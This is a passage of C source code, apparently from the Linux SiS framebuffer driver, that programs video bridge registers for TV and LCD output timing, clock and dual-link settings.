SiS_SpecialPhaseJ */ } else { PhaseIndex = 0x10; /* SiS_SpecialPhase */ } } for(i = 0x31, j = 0; i <= 0x34; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS_TVPhase[(PhaseIndex * 4) + j]); } for(i = 0x01, j = 0; i <= 0x2D; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,TimingPoint[j]); } for(i = 0x39; i <= 0x45; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,TimingPoint[j]); } if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { if(SiS_Pr->SiS_ModeType != ModeText) { SiS_SetRegAND(SiS_Pr->SiS_Part2Port,0x3A,0x1F); } } SiS_SetRegOR(SiS_Pr->SiS_Part2Port,0x0A,SiS_Pr->SiS_NewFlickerMode); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x35,SiS_Pr->SiS_RY1COE); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x36,SiS_Pr->SiS_RY2COE); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x37,SiS_Pr->SiS_RY3COE); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x38,SiS_Pr->SiS_RY4COE); if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) tempax = 950; else if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) tempax = 680; else if(SiS_Pr->SiS_TVMode & TVSetPAL) tempax = 520; else tempax = 440; /* NTSC, YPbPr 525 */ if( ((SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) && (SiS_Pr->SiS_VDE <= tempax)) || ( (SiS_Pr->SiS_VBInfo & SetCRT2ToTVNoHiVision) && ((SiS_Pr->SiS_VGAHDE == 1024) || (SiS_Pr->SiS_VDE <= tempax)) ) ) { tempax -= SiS_Pr->SiS_VDE; tempax >>= 1; if(!(SiS_Pr->SiS_TVMode & (TVSetYPbPr525p | TVSetYPbPr750p))) { tempax >>= 1; } tempax &= 0x00ff; temp = tempax + (unsigned short)TimingPoint[0]; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,temp); temp = tempax + (unsigned short)TimingPoint[1]; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x02,temp); if((SiS_Pr->SiS_VBInfo & SetCRT2ToTVNoYPbPrHiVision) && (SiS_Pr->SiS_VGAHDE >= 1024)) { if(SiS_Pr->SiS_TVMode & TVSetPAL) { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,0x1b); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x02,0x54); } else { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,0x17); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x02,0x1d); } } } tempcx = SiS_Pr->SiS_HT; if(SiS_IsDualLink(SiS_Pr)) tempcx >>= 1; tempcx--; if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) tempcx--; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x1B,tempcx); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x1D,0xF0,((tempcx >> 8) & 0x0f)); tempcx = SiS_Pr->SiS_HT >> 1; if(SiS_IsDualLink(SiS_Pr)) tempcx >>= 1; tempcx += 7; if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) tempcx -= 4; SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x22,0x0F,((tempcx << 4) & 0xf0)); tempbx = TimingPoint[j] | (TimingPoint[j+1] << 8); tempbx += tempcx; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x24,tempbx); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x25,0x0F,((tempbx >> 4) & 0xf0)); tempbx += 8; if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { tempbx -= 4; tempcx = tempbx; } SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x29,0x0F,((tempbx << 4) & 0xf0)); j += 2; tempcx += (TimingPoint[j] | (TimingPoint[j+1] << 8)); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x27,tempcx); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x28,0x0F,((tempcx >> 4) & 0xf0)); tempcx += 8; if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) tempcx -= 4; SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x2A,0x0F,((tempcx << 4) & 0xf0)); tempcx = SiS_Pr->SiS_HT >> 1; if(SiS_IsDualLink(SiS_Pr)) tempcx >>= 1; j += 2; tempcx -= (TimingPoint[j] | ((TimingPoint[j+1]) << 8)); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x2D,0x0F,((tempcx << 4) & 0xf0)); tempcx -= 11; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) { tempcx = SiS_GetVGAHT2(SiS_Pr) - 1; } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x2E,tempcx); tempbx = SiS_Pr->SiS_VDE; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if(SiS_Pr->SiS_VGAVDE == 360) tempbx = 746; if(SiS_Pr->SiS_VGAVDE == 375) tempbx = 746; if(SiS_Pr->SiS_VGAVDE == 405) tempbx = 853; } else if( (SiS_Pr->SiS_VBInfo & SetCRT2ToTV) && (!(SiS_Pr->SiS_TVMode & (TVSetYPbPr525p|TVSetYPbPr750p))) ) { tempbx >>= 1; if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_TVMode & TVSetTVSimuMode) { if((ModeNo <= 0x13) && (crt2crtc == 1)) tempbx++; } else if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { if(SiS_Pr->SiS_ModeType <= ModeVGA) { if(crt2crtc == 4) tempbx++; } } } if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { if((ModeNo == 0x2f) || (ModeNo == 0x5d) || (ModeNo == 0x5e)) tempbx++; } if(!(SiS_Pr->SiS_TVMode & TVSetPAL)) { if(ModeNo == 0x03) tempbx++; /* From 1.10.7w - doesn't make sense */ } } } tempbx -= 2; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x2F,tempbx); temp = (tempcx >> 8) & 0x0F; temp |= ((tempbx >> 2) & 0xC0); if(SiS_Pr->SiS_VBInfo & (SetCRT2ToSVIDEO | SetCRT2ToAVIDEO)) { temp |= 0x10; if(SiS_Pr->SiS_VBInfo & SetCRT2ToAVIDEO) temp |= 0x20; } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x30,temp); if(SiS_Pr->SiS_VBType & VB_SISPART4OVERFLOW) { SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x10,0xdf,((tempbx & 0x0400) >> 5)); } if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { tempbx = SiS_Pr->SiS_VDE; if( (SiS_Pr->SiS_VBInfo & SetCRT2ToTV) && (!(SiS_Pr->SiS_TVMode & (TVSetYPbPr525p | TVSetYPbPr750p))) ) { tempbx >>= 1; } tempbx -= 3; temp = ((tempbx >> 3) & 0x60) | 0x18; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x46,temp); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x47,tempbx); if(SiS_Pr->SiS_VBType & VB_SISPART4OVERFLOW) { SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x10,0xbf,((tempbx & 0x0400) >> 4)); } } tempbx = 0; if(!(modeflag & HalfDCLK)) { if(SiS_Pr->SiS_VGAHDE >= SiS_Pr->SiS_HDE) { tempax = 0; tempbx |= 0x20; } } tempch = tempcl = 0x01; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { if(SiS_Pr->SiS_VGAHDE >= 960) { if((!(modeflag & HalfDCLK)) || (SiS_Pr->ChipType < SIS_315H)) { tempcl = 0x20; if(SiS_Pr->SiS_VGAHDE >= 1280) { tempch = 20; tempbx &= ~0x20; } else if(SiS_Pr->SiS_VGAHDE >= 1024) { tempch = 25; } else { tempch = 25; /* OK */ } } } } if(!(tempbx & 0x20)) { if(modeflag & HalfDCLK) tempcl <<= 1; longtemp = ((SiS_Pr->SiS_VGAHDE * tempch) / tempcl) << 13; if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) longtemp <<= 3; tempax = longtemp / SiS_Pr->SiS_HDE; if(longtemp % SiS_Pr->SiS_HDE) tempax++; tempbx |= ((tempax >> 8) & 0x1F); tempcx = tempax >> 13; } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x44,tempax); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x45,0xC0,tempbx); if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { tempcx &= 0x07; if(tempbx & 0x20) tempcx = 0; SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x46,0xF8,tempcx); if(SiS_Pr->SiS_TVMode & TVSetPAL) { tempbx = 0x0382; tempcx = 0x007e; } else { tempbx = 0x0369; tempcx = 0x0061; } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x4B,tempbx); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x4C,tempcx); temp = (tempcx & 0x0300) >> 6; temp |= ((tempbx >> 8) & 0x03); if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { temp |= 0x10; if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) temp |= 0x20; else if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) temp |= 0x40; } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x4D,temp); temp = SiS_GetReg(SiS_Pr->SiS_Part2Port,0x43); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x43,(temp - 3)); SiS_SetTVSpecial(SiS_Pr, ModeNo); if(SiS_Pr->SiS_VBType & VB_SIS30xCLV) { temp = 0; if(SiS_Pr->SiS_TVMode & TVSetPALM) temp = 8; SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x4e,0xf7,temp); } } if(SiS_Pr->SiS_TVMode & TVSetPALM) { if(!(SiS_Pr->SiS_TVMode & TVSetNTSC1024)) { temp = SiS_GetReg(SiS_Pr->SiS_Part2Port,0x01); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,(temp - 1)); } SiS_SetRegAND(SiS_Pr->SiS_Part2Port,0x00,0xEF); } if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { if(!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x0B,0x00); } } if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) return; /* From here: Part2 LCD setup */ tempbx = SiS_Pr->SiS_HDE; if(SiS_IsDualLink(SiS_Pr)) tempbx >>= 1; tempbx--; /* RHACTE = HDE - 1 */ SiS_SetReg(SiS_Pr->SiS_Part2Port,0x2C,tempbx); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x2B,0x0F,((tempbx >> 4) & 0xf0)); temp = 0x01; if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) { if(SiS_Pr->SiS_ModeType == ModeEGA) { if(SiS_Pr->SiS_VGAHDE >= 1024) { temp = 0x02; if(SiS_Pr->SiS_SetFlag & LCDVESATiming) { temp = 0x01; } } } } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x0B,temp); tempbx = SiS_Pr->SiS_VDE - 1; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x03,tempbx); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x0C,0xF8,((tempbx >> 8) & 0x07)); tempcx = SiS_Pr->SiS_VT - 1; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x19,tempcx); temp = (tempcx >> 3) & 0xE0; if(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit) { /* Enable dithering; only do this for 32bpp mode */ if(SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00) & 0x01) { temp |= 0x10; } } SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x1A,0x0f,temp); SiS_SetRegAND(SiS_Pr->SiS_Part2Port,0x09,0xF0); SiS_SetRegAND(SiS_Pr->SiS_Part2Port,0x0A,0xF0); SiS_SetRegAND(SiS_Pr->SiS_Part2Port,0x17,0xFB); SiS_SetRegAND(SiS_Pr->SiS_Part2Port,0x18,0xDF); #ifdef CONFIG_FB_SIS_315 if(SiS_GetCRT2Part2Ptr(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex, &CRT2Index, &resindex)) { switch(CRT2Index) { case 206: CRT2Part2Ptr = SiS310_CRT2Part2_Asus1024x768_3; break; default: case 200: CRT2Part2Ptr = SiS_Pr->SiS_CRT2Part2_1024x768_1; break; } SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x01,0x80,(CRT2Part2Ptr+resindex)->CR[0]); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x02,0x80,(CRT2Part2Ptr+resindex)->CR[1]); for(i = 2, j = 0x04; j <= 0x06; i++, j++ ) { SiS_SetReg(SiS_Pr->SiS_Part2Port,j,(CRT2Part2Ptr+resindex)->CR[i]); } for(j = 0x1c; j <= 0x1d; i++, j++ ) { SiS_SetReg(SiS_Pr->SiS_Part2Port,j,(CRT2Part2Ptr+resindex)->CR[i]); } for(j = 0x1f; j <= 0x21; i++, j++ ) { SiS_SetReg(SiS_Pr->SiS_Part2Port,j,(CRT2Part2Ptr+resindex)->CR[i]); } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x23,(CRT2Part2Ptr+resindex)->CR[10]); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x25,0x0f,(CRT2Part2Ptr+resindex)->CR[11]); SiS_SetGroup2_Tail(SiS_Pr, ModeNo); } else { #endif /* Checked for 1024x768, 1280x1024, 1400x1050, 1600x1200 */ /* Clevo dual-link 1024x768 */ /* Compaq 1280x1024 has HT 1696 sometimes (calculation OK, if given HT is correct) */ /* Acer: OK, but uses different setting for VESA timing at 640/800/1024 and 640x400 */ if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { if((SiS_Pr->SiS_LCDInfo & LCDPass11) || (SiS_Pr->PanelYRes == SiS_Pr->SiS_VDE)) { tempbx = SiS_Pr->SiS_VDE - 1; tempcx = SiS_Pr->SiS_VT - 1; } else { tempbx = SiS_Pr->SiS_VDE + ((SiS_Pr->PanelYRes - SiS_Pr->SiS_VDE) / 2); tempcx = SiS_Pr->SiS_VT - ((SiS_Pr->PanelYRes - SiS_Pr->SiS_VDE) / 2); } } else { tempbx = SiS_Pr->PanelYRes; tempcx = SiS_Pr->SiS_VT; tempax = 1; if(SiS_Pr->PanelYRes != SiS_Pr->SiS_VDE) { tempax = SiS_Pr->PanelYRes; /* if(SiS_Pr->SiS_VGAVDE == 525) tempax += 0x3c; */ /* 651+301C */ if(SiS_Pr->PanelYRes < SiS_Pr->SiS_VDE) { tempax = tempcx = 0; } else { tempax -= SiS_Pr->SiS_VDE; } tempax >>= 1; } tempcx -= tempax; /* lcdvdes */ tempbx -= tempax; /* lcdvdee */ } /* Non-expanding: lcdvdes = tempcx = VT-1; lcdvdee = tempbx = VDE-1 */ SiS_SetReg(SiS_Pr->SiS_Part2Port,0x05,tempcx); /* lcdvdes */ SiS_SetReg(SiS_Pr->SiS_Part2Port,0x06,tempbx); /* lcdvdee */ temp = (tempbx >> 5) & 0x38; temp |= ((tempcx >> 8) & 0x07); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x02,temp); tempax = SiS_Pr->SiS_VDE; if((SiS_Pr->SiS_LCDInfo & DontExpandLCD) && (!(SiS_Pr->SiS_LCDInfo & LCDPass11))) { tempax = SiS_Pr->PanelYRes; } tempcx = (SiS_Pr->SiS_VT - tempax) >> 4; if((SiS_Pr->SiS_LCDInfo & DontExpandLCD) && (!(SiS_Pr->SiS_LCDInfo & LCDPass11))) { if(SiS_Pr->PanelYRes != SiS_Pr->SiS_VDE) { tempcx = (SiS_Pr->SiS_VT - tempax) / 10; } } tempbx = ((SiS_Pr->SiS_VT + SiS_Pr->SiS_VDE) >> 1) - 1; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { if(SiS_Pr->PanelYRes != SiS_Pr->SiS_VDE) { if(!(SiS_Pr->SiS_LCDInfo & LCDPass11)) { /* ? */ tempax = SiS_Pr->SiS_VT - SiS_Pr->PanelYRes; if(tempax % 4) { tempax >>= 2; tempax++; } else { tempax >>= 2; } tempbx -= (tempax - 1); } else { tempbx -= 10; if(tempbx <= SiS_Pr->SiS_VDE) tempbx = SiS_Pr->SiS_VDE + 1; } } } if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { tempbx++; if((!(SiS_Pr->SiS_LCDInfo & DontExpandLCD)) || (crt2crtc == 6)) { if(SiS_Pr->SiS_SetFlag & LCDVESATiming) { tempbx = 770; tempcx = 3; } } } /* non-expanding: lcdvrs = ((VT + VDE) / 2) - 10 */ if(SiS_Pr->UseCustomMode) { tempbx = SiS_Pr->CVSyncStart; } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x04,tempbx); /* lcdvrs */ temp = (tempbx >> 4) & 0xF0; tempbx += (tempcx + 1); temp |= (tempbx & 0x0F); if(SiS_Pr->UseCustomMode) { temp &= 0xf0; temp |= (SiS_Pr->CVSyncEnd & 0x0f); } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,temp); #ifdef CONFIG_FB_SIS_300 SiS_Group2LCDSpecial(SiS_Pr, ModeNo, crt2crtc); #endif bridgeoffset = 7; if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) bridgeoffset += 2; if(SiS_Pr->SiS_VBType & VB_SIS30xCLV) bridgeoffset += 2; /* OK for Averatec 1280x800 (301C) */ if(SiS_IsDualLink(SiS_Pr)) bridgeoffset++; else if(SiS_Pr->SiS_VBType & VB_SIS302LV) bridgeoffset++; /* OK for Asus A4L 1280x800 */ /* Higher bridgeoffset shifts to the LEFT */ temp = 0; if((SiS_Pr->SiS_LCDInfo & DontExpandLCD) && (!(SiS_Pr->SiS_LCDInfo & LCDPass11))) { if(SiS_Pr->PanelXRes != SiS_Pr->SiS_HDE) { temp = SiS_Pr->SiS_HT - ((SiS_Pr->PanelXRes - SiS_Pr->SiS_HDE) / 2); if(SiS_IsDualLink(SiS_Pr)) temp >>= 1; } } temp += bridgeoffset; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x1F,temp); /* lcdhdes */ SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x20,0x0F,((temp >> 4) & 0xf0)); tempcx = SiS_Pr->SiS_HT; tempax = tempbx = SiS_Pr->SiS_HDE; if((SiS_Pr->SiS_LCDInfo & DontExpandLCD) && (!(SiS_Pr->SiS_LCDInfo & LCDPass11))) { if(SiS_Pr->PanelXRes != SiS_Pr->SiS_HDE) { tempax = SiS_Pr->PanelXRes; tempbx = SiS_Pr->PanelXRes - ((SiS_Pr->PanelXRes - SiS_Pr->SiS_HDE) / 2); } } if(SiS_IsDualLink(SiS_Pr)) { tempcx >>= 1; tempbx >>= 1; tempax >>= 1; } tempbx += bridgeoffset; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x23,tempbx); /* lcdhdee */ SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x25,0xF0,((tempbx >> 8) & 0x0f)); tempcx = (tempcx - tempax) >> 2; tempbx += tempcx; push2 = tempbx; if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) { if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { if(SiS_Pr->SiS_LCDInfo & LCDPass11) { if(SiS_Pr->SiS_HDE == 1280) tempbx = (tempbx & 0xff00) | 0x47; } } } if(SiS_Pr->UseCustomMode) { tempbx = SiS_Pr->CHSyncStart; if(modeflag & HalfDCLK) tempbx <<= 1; if(SiS_IsDualLink(SiS_Pr)) tempbx >>= 1; tempbx += bridgeoffset; } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x1C,tempbx); /* lcdhrs */ SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x1D,0x0F,((tempbx >> 4) & 0xf0)); tempbx = push2; tempcx <<= 1; if((SiS_Pr->SiS_LCDInfo & DontExpandLCD) && (!(SiS_Pr->SiS_LCDInfo & LCDPass11))) { if(SiS_Pr->PanelXRes != SiS_Pr->SiS_HDE) tempcx >>= 2; } tempbx += tempcx; if(SiS_Pr->UseCustomMode) { tempbx = SiS_Pr->CHSyncEnd; if(modeflag & HalfDCLK) tempbx <<= 1; if(SiS_IsDualLink(SiS_Pr)) tempbx >>= 1; tempbx += bridgeoffset; } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x21,tempbx); /* lcdhre */ SiS_SetGroup2_Tail(SiS_Pr, ModeNo); #ifdef CONFIG_FB_SIS_300 SiS_Set300Part2Regs(SiS_Pr, ModeIdIndex, RefreshRateTableIndex, ModeNo); #endif #ifdef CONFIG_FB_SIS_315 } /* CRT2-LCD from table */ #endif } /*********************************************/ /* SET PART 3 REGISTER GROUP */ /*********************************************/ static void SiS_SetGroup3(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned short i; const unsigned char *tempdi; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) return; #ifndef SIS_CP SiS_SetReg(SiS_Pr->SiS_Part3Port,0x00,0x00); #else SIS_CP_INIT301_CP #endif if(SiS_Pr->SiS_TVMode & TVSetPAL) { SiS_SetReg(SiS_Pr->SiS_Part3Port,0x13,0xFA); SiS_SetReg(SiS_Pr->SiS_Part3Port,0x14,0xC8); } else { SiS_SetReg(SiS_Pr->SiS_Part3Port,0x13,0xF5); SiS_SetReg(SiS_Pr->SiS_Part3Port,0x14,0xB7); } if(SiS_Pr->SiS_TVMode & TVSetPALM) { SiS_SetReg(SiS_Pr->SiS_Part3Port,0x13,0xFA); SiS_SetReg(SiS_Pr->SiS_Part3Port,0x14,0xC8); SiS_SetReg(SiS_Pr->SiS_Part3Port,0x3D,0xA8); } tempdi = NULL; if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { tempdi = SiS_Pr->SiS_HiTVGroup3Data; if(SiS_Pr->SiS_TVMode & TVSetTVSimuMode) { tempdi = SiS_Pr->SiS_HiTVGroup3Simu; } } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { if(!(SiS_Pr->SiS_TVMode & TVSetYPbPr525i)) { tempdi = SiS_HiTVGroup3_1; if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) tempdi = SiS_HiTVGroup3_2; } } if(tempdi) { for(i=0; i<=0x3E; i++) { SiS_SetReg(SiS_Pr->SiS_Part3Port,i,tempdi[i]); } if(SiS_Pr->SiS_VBType & VB_SIS30xCLV) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) { SiS_SetReg(SiS_Pr->SiS_Part3Port,0x28,0x3f); } } } #ifdef SIS_CP SIS_CP_INIT301_CP2 #endif } /*********************************************/ /* SET PART 4 REGISTER GROUP */ /*********************************************/ #ifdef CONFIG_FB_SIS_315 #if 0 static void SiS_ShiftXPos(struct SiS_Private *SiS_Pr, int shift) { unsigned short temp, temp1, temp2; temp1 = SiS_GetReg(SiS_Pr->SiS_Part2Port,0x1f); temp2 = SiS_GetReg(SiS_Pr->SiS_Part2Port,0x20); temp = (unsigned short)((int)((temp1 | ((temp2 & 0xf0) << 4))) + shift); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x1f,temp); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x20,0x0f,((temp >> 4) & 0xf0)); temp = SiS_GetReg(SiS_Pr->SiS_Part2Port,0x2b) & 0x0f; temp = (unsigned short)((int)(temp) + shift); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x2b,0xf0,(temp & 0x0f)); temp1 = SiS_GetReg(SiS_Pr->SiS_Part2Port,0x43); temp2 = SiS_GetReg(SiS_Pr->SiS_Part2Port,0x42); temp = (unsigned short)((int)((temp1 | ((temp2 & 0xf0) << 4))) + shift); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x43,temp); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x42,0x0f,((temp >> 4) & 0xf0)); } #endif static void SiS_SetGroup4_C_ELV(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned short temp, temp1; unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; if(!(SiS_Pr->SiS_VBType & VB_SIS30xCLV)) return; if(!(SiS_Pr->SiS_VBInfo & (SetCRT2ToHiVision | SetCRT2ToYPbPr525750))) return; if(SiS_Pr->ChipType >= XGI_20) return; if((SiS_Pr->ChipType >= SIS_661) && (SiS_Pr->SiS_ROMNew)) { if(!(ROMAddr[0x61] & 0x04)) return; } SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x3a,0x08); temp = SiS_GetReg(SiS_Pr->SiS_Part4Port,0x3a); if(!(temp & 0x01)) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x3a,0xdf); SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x25,0xfc); if((SiS_Pr->ChipType < SIS_661) && (!(SiS_Pr->SiS_ROMNew))) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x25,0xf8); } SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x0f,0xfb); if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) temp = 0x0000; else if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) temp = 0x0002; else if(SiS_Pr->SiS_TVMode & TVSetHiVision) temp = 0x0400; else temp = 0x0402; if((SiS_Pr->ChipType >= SIS_661) || (SiS_Pr->SiS_ROMNew)) { temp1 = 0; if(SiS_Pr->SiS_TVMode & TVAspect43) temp1 = 4; SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x0f,0xfb,temp1); if(SiS_Pr->SiS_TVMode & TVAspect43LB) temp |= 0x01; SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x26,0x7c,(temp & 0xff)); SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x3a,0xfb,(temp >> 8)); if(ModeNo > 0x13) { SiS_SetRegAND(SiS_Pr->SiS_P3d4,0x39,0xfd); } } else { temp1 = SiS_GetReg(SiS_Pr->SiS_P3d4,0x3b) & 0x03; if(temp1 == 0x01) temp |= 0x01; if(temp1 == 0x03) temp |= 0x04; /* ? why not 0x10? */ SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x26,0xf8,(temp & 0xff)); SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x3a,0xfb,(temp >> 8)); if(ModeNo > 0x13) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x3b,0xfd); } } #if 0 if(SiS_Pr->ChipType >= SIS_661) { /* ? */ if(SiS_Pr->SiS_TVMode & TVAspect43) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) { if(resinfo == SIS_RI_1024x768) { SiS_ShiftXPos(SiS_Pr, 97); } else { SiS_ShiftXPos(SiS_Pr, 111); } } else if(SiS_Pr->SiS_TVMode & TVSetHiVision) { SiS_ShiftXPos(SiS_Pr, 136); } } } #endif } } #endif static void SiS_SetCRT2VCLK(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short vclkindex, temp, reg1, reg2; if(SiS_Pr->UseCustomMode) { reg1 = SiS_Pr->CSR2B; reg2 = SiS_Pr->CSR2C; } else { vclkindex = SiS_GetVCLK2Ptr(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); reg1 = SiS_Pr->SiS_VBVCLKData[vclkindex].Part4_A; reg2 = SiS_Pr->SiS_VBVCLKData[vclkindex].Part4_B; } if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { if(SiS_Pr->SiS_TVMode & (TVSetNTSC1024 | TVSet525p1024)) { SiS_SetReg(SiS_Pr->SiS_Part4Port,0x0a,0x57); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x0b,0x46); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x1f,0xf6); } else { SiS_SetReg(SiS_Pr->SiS_Part4Port,0x0a,reg1); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x0b,reg2); } } else { SiS_SetReg(SiS_Pr->SiS_Part4Port,0x0a,0x01); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x0b,reg2); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x0a,reg1); } SiS_SetReg(SiS_Pr->SiS_Part4Port,0x12,0x00); temp = 0x08; if(SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC) temp |= 0x20; SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x12,temp); } static void SiS_SetDualLinkEtc(struct SiS_Private *SiS_Pr) { if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_VBType & VB_SISDUALLINK) { if((SiS_CRT2IsLCD(SiS_Pr)) || (SiS_IsVAMode(SiS_Pr))) { if(SiS_Pr->SiS_LCDInfo & LCDDualLink) { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x27,0x2c); } else { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x27,~0x20); } } } } if(SiS_Pr->SiS_VBType & VB_SISEMI) { SiS_SetReg(SiS_Pr->SiS_Part4Port,0x2a,0x00); #ifdef SET_EMI SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x30,0x0c); #endif SiS_SetReg(SiS_Pr->SiS_Part4Port,0x34,0x10); } } static void SiS_SetGroup4(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short tempax, tempcx, tempbx, 